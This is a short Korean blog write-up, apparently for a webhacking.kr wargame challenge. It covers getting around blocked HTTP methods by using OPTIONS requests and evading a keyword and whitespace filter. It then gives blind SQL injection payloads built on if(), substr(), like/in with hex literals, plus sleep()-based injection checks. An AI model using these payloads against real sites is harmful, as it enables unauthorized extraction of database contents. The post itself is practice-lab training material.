http method GET, POST가 막혀있다.
htaccess 등으로 limit 걸어놓은듯 하다.
OPTIONS 등으로 우회해주자.
크롬 extension 툴인 YARC (Yet Another REST Client)를 이용하였다.
필터링 목록이 꽤 빡쎄다.
or
and
+
union
select
ascii
char
여기에다 공백까지 못 쓴다. %0a, %0b 모두 막혀있다....
?no=1
?no=3
예상할 수 있는 쿼리는
select id from table where no={$_GET[no]}
if문과 substr을 이용해 한 글자씩 잘라냈다.
그런데 문제는 쿼터와 ord함수, ascii함수를 못 쓴다.
?no=if(substr(id,1,1)like(0x61),3,0)
?no=if(substr(id,1,1)in(0x61),3,0)
공백 우회 요래 해주면 된다.
생각지도 못한 방법....ㅋ
참이면 if함수가 3을 반환하여 ?no=3과 같이 된다.
스크립트는
?no=if(substr(id,1,1)like(0x"+string[x].encode('hex')+"),3,0)
이렇게 짰다.
공백우회가 매우 어려웠던 문제다.
==========================================
check injection point
?no=sleep(1)
하면 sleep함수가 동작함을 알 수있다.
?no=1^sleep(1)
마찬가지.
'write-up > webhacking.kr' 카테고리의 다른 글
55번 (0) | 2018.08.18 |
---|---|
22 (0) | 2016.08.23 |
13번 (0) | 2016.07.16 |
webhacking.kr 파일 업로드 문제 (0) | 2016.07.16 |
57번 (0) | 2016.04.09 |